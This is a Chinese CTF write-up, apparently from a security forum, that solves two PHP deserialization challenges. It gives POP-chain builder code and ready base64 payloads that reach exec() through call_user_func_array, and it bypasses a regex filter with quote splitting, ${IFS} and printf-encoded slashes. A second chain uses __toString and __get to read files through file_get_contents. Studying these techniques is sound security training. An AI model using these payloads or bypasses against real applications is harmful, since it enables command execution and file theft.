反序列化漏洞 攻防世界+长城杯赛题

反序列化漏洞 攻防世界+长城杯赛题

tao

2026-01-10 发布61 浏览 · 0 点赞 · 0 收藏

unseping

给出源码

<?php  
highlight_file(__FILE__);  
  
class ease{  
      
    private $method;  
    private $args;  
    function __construct($method, $args) {        $this->method = $method;        $this->args = $args;  
    }  
   
    function __destruct(){  
        if (in_array($this->method, array("ping"))) {            call_user_func_array(array($this, $this->method), $this->args);  
        }  
    }   
   
    function ping($ip){        exec($ip, $result);        var_dump($result);  
    }  
  
    function waf($str){  
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {  
            return $str;  
        } else {  
            echo "don't hack";  
        }  
    }  
   
    function __wakeup(){  
        foreach($this->args as $k => $v) {            $this->args[$k] = $this->waf($v);  
        }  
    }     
}  
  
$ctf=@$_POST['ctf'];  
@unserialize(base64_decode($ctf));  
?>

首先进行代码审计
整体思路
1.给了一个ease类,可以看到ping方法中有exec()函数,这是可以rce的点
2.__destruct方法中有call_user_func_array()
call_user_func_array()是 PHP 中一个非常有用的函数,用于动态调用回调函数,并将参数作为数组传递。
代码解析

call_user_func_array(array($this, $this->method), $this->args);
部分 含义
call_user_func_array() 调用回调函数的函数
array($this, $this->method) 第一个参数:指定要调用的方法
$this->args 第二个参数:传递给方法的参数数组

3.触发__destruct方法从而执行call_user_func_array(),执行call_user_func_array()调用类方法ping,执行exec()危险函数 其中call_user_func_array()第一个参数应为‘ping’,第二个参数就是rce的点
具体实现
1.需要让if (in_array($this->method, array("ping")))语句成立,意思是检查数组中是否存在值‘ping’,注意call_user_func_array()内的参数都是数组,而这里代码中array($this, $this->method)自动给我们创建了一个数组,所以在为method的赋值时候就不需要额外赋值成数组了,但第二个参数就需要了
2.ping方法中的$ip是由call_user_func_array()中的args传递,这里的args需要赋值成数组再传参
3.构造pop链

<?php

class ease{

    private $method='ping';

    private $args=array('ls');

    }

    echo serialize(new ease);

?>

运行结果

O:4:"ease":2:{s:12:"�ease�method";s:4:"ping";s:10:"�ease�args";a:1:{i:0;s:2:"ls";}}

其中的不可见字符需要单独修改

base64编码后得到

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOiJscyI7fX0=

提交 页面显示

don't hackNULL

因为在反序列化的时候会触发__wakeup方法,其中又会调用waf方法,waf中存在正则if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array))
本来是想利用CVE-2016-7124直接wakeup绕过的
但是发现好像不存在这个漏洞
所以还是尝试绕过正则
尝试引号绕过
ls替换成l''s
payload变为

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

回显内容

array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }

接下来执行命令

l''s${IFS}fl''ag_1s_here

payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWZsJydhZ18xc19oZXJlIjt9fQ==

回显

array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

接下里执行的命令应该是 cat flag_1s_here/flag_831b69012c67b35f.php
但是 ‘/’难以绕过
看了别人提供的思路 通过内联执行绕过
将'/'替换成printf${IFS}('\057')$(printf${IFS}"\57")

ca''t${IFS}fl''ag_1s_here$(printf${IFS}"\57")fl''ag_831b69012c67b35f.ph''p

payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiY2EnJ3Qke0lGU31mbCcnYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZmwnJ2FnXzgzMWI2OTAxMmM2N2IzNWYucGgnJ3AiO319

结果

array(2) { [0]=> string(5) " string(47) "//$cyberpeace{4ccb6d1a14dd3f277baf91f1853a9044}" }

第三届长城杯防护赛

因为有源码 所以把环境在本地复现了一下
打开题目 就一张图片 什么也没有

但这张图片是以.php结尾的
把文件下载下来
查看文件 末尾有源码

<?php  
error_reporting(0);  
class A {  
public $handle;  
public function triggerMethod() {  
echo "" . $this->handle;  
}  
}  
class B {  
public $worker;  
public $cmd;  
public function __toString() {  
return $this->worker->result;  
}  
}  
class C {  
public $cmd;  
public function __get($name) {  
echo file_get_contents($this->cmd);  
}  
}  
$raw = isset($_POST['data']) ? $_POST['data'] : '';  
header('Content-Type: image/jpeg');  
readfile("muzujijiji.jpg");  
highlight_file(__FILE__);  
$obj = unserialize($_POST['data']);  
$obj->triggerMethod();

可控点是类c中的__get方法,会执行echo file_get_contents($this->cmd);的操作
只要把cmd的值变成flag的相关文件即可
其核心触发链是:​对象被当作字符串使用 → 触发 __toString→ 访问不存在的属性 → 触发 __get
构造pop链

<?php

error_reporting(0);

class A {

    public $handle;

}

class B {

    public $worker;

    public $cmd;

}

class C {

    public $cmd;

}

$a=new A();

$a->handle=new B();

$a->handle->worker=new C();

$a->handle->worker->cmd="flag.txt";

echo serialize($a);

payload

O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:8:"flag.txt";}s:3:"cmd";N;}}

最后在响应头中查看flag

请前往 登录/注册 即可发表您的看法…